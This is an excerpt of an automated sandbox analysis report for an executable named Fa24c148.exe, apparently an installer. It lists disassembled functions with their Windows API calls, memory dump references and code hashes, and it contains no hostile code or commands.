Associated: 00000000.00000002.2028502042.0000000000493000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Fa24c148.jbxd

Similarity

API ID: CapsCreateDeviceFontIndirectRelease
String ID: Tahoma
API String ID: 3808545654-3580928618
Opcode ID: 86243b7d43fd1254334335eab61183055d5a94c6c62a8693a7ecd88f836f01fe
Instruction ID: 50cd7c3d9b324c63c10bedbdfe153cfa446442d7209eb1202fb80f546c31283e
Opcode Fuzzy Hash: 86243b7d43fd1254334335eab61183055d5a94c6c62a8693a7ecd88f836f01fe
Instruction Fuzzy Hash: D3016D71944280AFEB116BB0AE0AB9ABF74DF55301F14847AF141B62F2C7791005DBAE

Function 1000248D Relevance: 9.1, APIs: 6, Instructions: 108COMMON

Download Yara Rule

APIs

wsprintfW.USER32 ref: 100024E1
StringFromGUID2.OLE32(?,00000000,?,?,?,00000000,00000001,1000186C,00000000), ref: 100024F5

Part of subcall function 100012F3: lstrcpyW.KERNEL32(00000019,00000000,74DEFFC0,100011AA,?,00000000), ref: 1000131E

GlobalFree.KERNEL32(?), ref: 10002559
GlobalFree.KERNEL32(00000000), ref: 10002582

Memory Dump Source

Source File: 00000000.00000002.2032781626.0000000010001000.00000020.00000001.01000000.00000006.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2032762594.0000000010000000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2032798460.0000000010003000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2032821608.0000000010005000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_Fa24c148.jbxd

Similarity

API ID: FreeGlobal$FromStringlstrcpywsprintf
String ID:
API String ID: 2435812281-0
Opcode ID: 9253aae3ae820304c48da97b40e54ff33b64d0bdf23cd0f03cf5d4ae08895b6f
Instruction ID: b8df5bf25714b619238b14e922296a4c8fadfdd3343c634a81266bb1cff10f5b
Opcode Fuzzy Hash: 9253aae3ae820304c48da97b40e54ff33b64d0bdf23cd0f03cf5d4ae08895b6f
Instruction Fuzzy Hash: 3131F1B1504A1AEFFB21CFA4DCA482AB7B8FF003D67224519F9419217CDB319D50DB69

Function 100018C1 Relevance: 7.7, APIs: 5, Instructions: 190COMMON

Download Yara Rule

APIs

Part of subcall function 10001243: lstrcpyW.KERNEL32(00000000,?,?,?,10001534,?,10001020,10001019,00000001), ref: 10001260
Part of subcall function 10001243: GlobalFree.KERNEL32 ref: 10001271

GlobalFree.KERNEL32(?), ref: 10001928
GlobalFree.KERNEL32(?), ref: 10001AB9
GlobalFree.KERNEL32(?), ref: 10001ABE

Memory Dump Source

Source File: 00000000.00000002.2032781626.0000000010001000.00000020.00000001.01000000.00000006.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2032762594.0000000010000000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2032798460.0000000010003000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2032821608.0000000010005000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_Fa24c148.jbxd

Similarity

API ID: FreeGlobal$lstrcpy
String ID:
API String ID: 176019282-0
Opcode ID: 1c9453be25982cee2ee6e6730667b579ec96db4d4f6aa0d6ab14657c31cbc0ef
Instruction ID: 5f977143e903dceeb219282147683d12af406f102b63ffa8563e92424d473d54
Opcode Fuzzy Hash: 1c9453be25982cee2ee6e6730667b579ec96db4d4f6aa0d6ab14657c31cbc0ef
Instruction Fuzzy Hash: B451B736F01119DAFF10DFA488815EDB7F5FB463D0B228169E804A311CDB75AF419B92

Function 10001617 Relevance: 7.5, APIs: 5, Instructions: 41memorylibraryloaderCOMMON

Download Yara Rule

APIs

WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,000000FF,00000000,00000000,00000000,00000000,00000808,00000000,?,00000000,10002167,?,00000808), ref: 1000162F
GlobalAlloc.KERNEL32(00000040,00000000,?,00000000,10002167,?,00000808), ref: 10001636
WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,000000FF,00000000,00000000,00000000,00000000,?,00000000,10002167,?,00000808), ref: 1000164A
GetProcAddress.KERNEL32(10002167,00000000), ref: 10001651
GlobalFree.KERNEL32(00000000), ref: 1000165A

Memory Dump Source

Source File: 00000000.00000002.2032781626.0000000010001000.00000020.00000001.01000000.00000006.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2032762594.0000000010000000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2032798460.0000000010003000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2032821608.0000000010005000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_Fa24c148.jbxd

Similarity

API ID: ByteCharGlobalMultiWide$AddressAllocFreeProc
String ID:
API String ID: 1148316912-0
Opcode ID: 06a7266b7a9176b24ef6afb6e544002b11bc6a2d13ae022cf9eb1808419c0062
Instruction ID: 7647a3e7d8fb005f6fbf822ef0874fdc4783f8eaf5d0662476f5196d1f8db515
Opcode Fuzzy Hash: 06a7266b7a9176b24ef6afb6e544002b11bc6a2d13ae022cf9eb1808419c0062
Instruction Fuzzy Hash: 7CF098722071387BE62117A78C8CD9BBF9CDF8B2F5B114215F628921A4C6619D019BF1

Function 00401CE5 Relevance: 7.5, APIs: 5, Instructions: 39windowCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,?), ref: 00401CEB
GetClientRect.USER32(00000000,?), ref: 00401CF8
LoadImageW.USER32(?,00000000,?,?,?,?), ref: 00401D19
SendMessageW.USER32(00000000,00000172,?,00000000), ref: 00401D27
DeleteObject.GDI32(00000000), ref: 00401D36

Memory Dump Source

Source File: 00000000.00000002.2028141956.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2028124677.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028161718.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000424000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.000000000045F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000462000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000465000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000472000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000480000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000487000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.000000000048D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.000000000048F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000493000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Fa24c148.jbxd

Similarity

API ID: ClientDeleteImageItemLoadMessageObjectRectSend
String ID:
API String ID: 1849352358-0
Opcode ID: 11a1351ddf50c58e35ddc122bd4c143b08e9209a670521ddf1897a2708112133
Instruction ID: 5f088aa0ca27e90fd893fee14e64151101962dab4a112754cbcab5b472a91c15
Opcode Fuzzy Hash: 11a1351ddf50c58e35ddc122bd4c143b08e9209a670521ddf1897a2708112133
Instruction Fuzzy Hash: 53F0E1B2A04104BFDB01DBE4EE88DEEB7BCEB08315B104466F601F5190C674AD018B39

Function 00404805 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 78stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(00422698,00422698,?,%u.%u%s%s,00000005,00000000,00000000,?,000000DC,00000000,?,000000DF,0000040F,00000400,00000000), ref: 00404896
wsprintfW.USER32 ref: 0040489F
SetDlgItemTextW.USER32(?,00422698), ref: 004048B2

Strings

%u.%u%s%s, xrefs: 00404880

Memory Dump Source

Source File: 00000000.00000002.2028141956.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2028124677.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028161718.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000424000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.000000000045F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000462000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000465000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000472000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000480000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000487000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.000000000048D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.000000000048F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000493000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Fa24c148.jbxd

Similarity

API ID: ItemTextlstrlenwsprintf
String ID: %u.%u%s%s
API String ID: 3540041739-3551169577
Opcode ID: 3ce40e38d5b697acbaf551dfd4031fa8a76976e20437f1852b8b62a4044f6b57
Instruction ID: 59e17c8afd225f679fed4f3ac3ee25800eeb16d6bc796772b25e59257c8be9d1
Opcode Fuzzy Hash: 3ce40e38d5b697acbaf551dfd4031fa8a76976e20437f1852b8b62a4044f6b57
Instruction Fuzzy Hash: FB11E2776002243BDB10666D9C49EEF369DDBC6334F14863BFA29F61D1E978881186E8

Function 0040586D Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 42COMMON

Download Yara Rule

APIs

CharNextW.USER32(?,?,C:\,?,004058E1,C:\,C:\,?,?,74DF3420,0040561F,?,C:\Users\user\AppData\Local\Temp\,74DF3420,"C:\Users\user\Desktop\Fa24c148.exe"), ref: 0040587B
CharNextW.USER32(00000000), ref: 00405880
CharNextW.USER32(00000000), ref: 00405898

Strings

C:\, xrefs: 0040586E

Memory Dump Source

Source File: 00000000.00000002.2028141956.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2028124677.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028161718.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000424000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.000000000045F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000462000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000465000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000472000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000480000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000487000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.000000000048D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.000000000048F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000493000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Fa24c148.jbxd

Similarity

API ID: CharNext
String ID: C:\
API String ID: 3213498283-3404278061
Opcode ID: b0c2eef9241feed9457590fddbc2aab5f3d07ba2361cf94bd4ebf9b70b50b23f
Instruction ID: 0e45d3d7899051d123986adb95df4b68677bfc9f51f839bc1fffa0be8c86f108
Opcode Fuzzy Hash: b0c2eef9241feed9457590fddbc2aab5f3d07ba2361cf94bd4ebf9b70b50b23f
Instruction Fuzzy Hash: ABF09013910F1195DF3176584C55A7B6BBCEF54361B04C03BEE42B72C0D3B84CA58A9A

Function 004057C2 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 16stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(?,C:\Users\user\AppData\Local\Temp\,004031E9,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,74DF3420,004033B7), ref: 004057C8
CharPrevW.USER32(?,00000000,?,C:\Users\user\AppData\Local\Temp\,004031E9,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,74DF3420,004033B7), ref: 004057D2
lstrcatW.KERNEL32(?,00409014), ref: 004057E4

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 004057C2

Memory Dump Source

Source File: 00000000.00000002.2028141956.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2028124677.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028161718.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000424000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.000000000045F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000462000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000465000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000472000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000480000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000487000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.000000000048D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.000000000048F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000493000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Fa24c148.jbxd

Similarity

API ID: CharPrevlstrcatlstrlen
String ID: C:\Users\user\AppData\Local\Temp\
API String ID: 2659869361-3081826266
Opcode ID: ff6b15c2f5550a5b1ad39c2dabef59c5d9ab40b11c2ea079a8f7966cac1aab2f
Instruction ID: 6d7e1b30bb844f15b9b36030bcc4b7738a51439c8837860c8faeba4cfa6a7ffc
Opcode Fuzzy Hash: ff6b15c2f5550a5b1ad39c2dabef59c5d9ab40b11c2ea079a8f7966cac1aab2f
Instruction Fuzzy Hash: 81D0A721505930AAC2127B448C04DDF73ACEE45340340483BF600B30E1C7781D418BFD

Function 00401F08 Relevance: 6.1, APIs: 4, Instructions: 55memoryCOMMON

Download Yara Rule

APIs

GetFileVersionInfoSizeW.VERSION(00000000,?,000000EE), ref: 00401F17
GlobalAlloc.KERNEL32(00000040,00000000,00000000,?,000000EE), ref: 00401F39
GetFileVersionInfoW.VERSION(?,?,00000000,00000000), ref: 00401F50
VerQueryValueW.VERSION(?,00409014,?,?,?,?,00000000,00000000), ref: 00401F69

Part of subcall function 00405CBE: wsprintfW.USER32 ref: 00405CCB

Memory Dump Source

Source File: 00000000.00000002.2028141956.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2028124677.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028161718.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000424000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.000000000045F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000462000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000465000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000472000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000480000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000487000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.000000000048D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.000000000048F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000493000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Fa24c148.jbxd

Similarity

API ID: FileInfoVersion$AllocGlobalQuerySizeValuewsprintf
String ID:
API String ID: 1404258612-0
Opcode ID: a69f105ff7c1ed7042804ff3785ec88b73d7adcb7f3cde9c988f9f75693ffed6
Instruction ID: c80361359d7f931d767c6e620dd41e9efa8b0f2766ef6758dcd107922aa8e93c
Opcode Fuzzy Hash: a69f105ff7c1ed7042804ff3785ec88b73d7adcb7f3cde9c988f9f75693ffed6
Instruction Fuzzy Hash: 8E110671A00109AEEB11DFA5C945DEEBBB9EF44344F21407AF901F62A1D7349E50DB68

Function 00402D05 Relevance: 6.0, APIs: 4, Instructions: 33COMMON

Download Yara Rule

APIs

DestroyWindow.USER32(00000000,00000000,00402EE5,00000001,?,?,?,00000000,00403425,?), ref: 00402D18
GetTickCount.KERNEL32 ref: 00402D36
CreateDialogParamW.USER32(0000006F,00000000,00402C7F,00000000), ref: 00402D53
ShowWindow.USER32(00000000,00000005,?,?,?,00000000,00403425,?), ref: 00402D61

Memory Dump Source

Source File: 00000000.00000002.2028141956.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2028124677.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028161718.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000424000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.000000000045F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000462000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000465000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000472000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000480000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000487000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.000000000048D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.000000000048F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000493000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Fa24c148.jbxd

Similarity

API ID: Window$CountCreateDestroyDialogParamShowTick
String ID:
API String ID: 2102729457-0
Opcode ID: a44779084e06eb4c2f5f1059993455e157fff419ca32818d5ef93385285d2376
Instruction ID: 4886259ddd31cdb6a9694f28afcf93f0b8e262fe2de839e253ac22cc8a8e0fbd
Opcode Fuzzy Hash: a44779084e06eb4c2f5f1059993455e157fff419ca32818d5ef93385285d2376
Instruction Fuzzy Hash: 09F05E3198A221ABD6315B20FE4C99B7BA4FB05B11B14547AF005F11E4C2B84C81CB9C

Function 00404F95 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 46windowCOMMON

Download Yara Rule

APIs

IsWindowVisible.USER32(?), ref: 00404FC4
CallWindowProcW.USER32(?,?,?,?), ref: 00405015

Part of subcall function 00404008: SendMessageW.USER32(?,00000000,00000000,00000000), ref: 0040401A

Strings

, xrefs: 00404FA5

Memory Dump Source

Source File: 00000000.00000002.2028141956.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2028124677.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028161718.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000424000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.000000000045F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000462000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000465000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000472000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000480000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000487000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.000000000048D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.000000000048F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000493000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Fa24c148.jbxd

Similarity

API ID: Window$CallMessageProcSendVisible
String ID:
API String ID: 3748168415-3916222277
Opcode ID: d9e9b5ae7c041b12dac160d84c9107cc66b3c7e025393d4bf5171a64b49731b5
Instruction ID: 66009aff32d7b8830e361c6277d22b8a437e9b10976337e76806f1b42b6c8603
Opcode Fuzzy Hash: d9e9b5ae7c041b12dac160d84c9107cc66b3c7e025393d4bf5171a64b49731b5
Instruction Fuzzy Hash: 7A017172100609ABDF209F11DD80A5F3A25E784318F204037FB00761D1C37A9D51DAAE

Function 004036AC Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 19COMMON

Download Yara Rule

APIs

FreeLibrary.KERNEL32(?,C:\Users\user\AppData\Local\Temp\,00000000,74DF3420,00403684,004034C6,?), ref: 004036C6
GlobalFree.KERNEL32(?), ref: 004036CD

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 004036BE

Memory Dump Source

Source File: 00000000.00000002.2028141956.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2028124677.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028161718.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
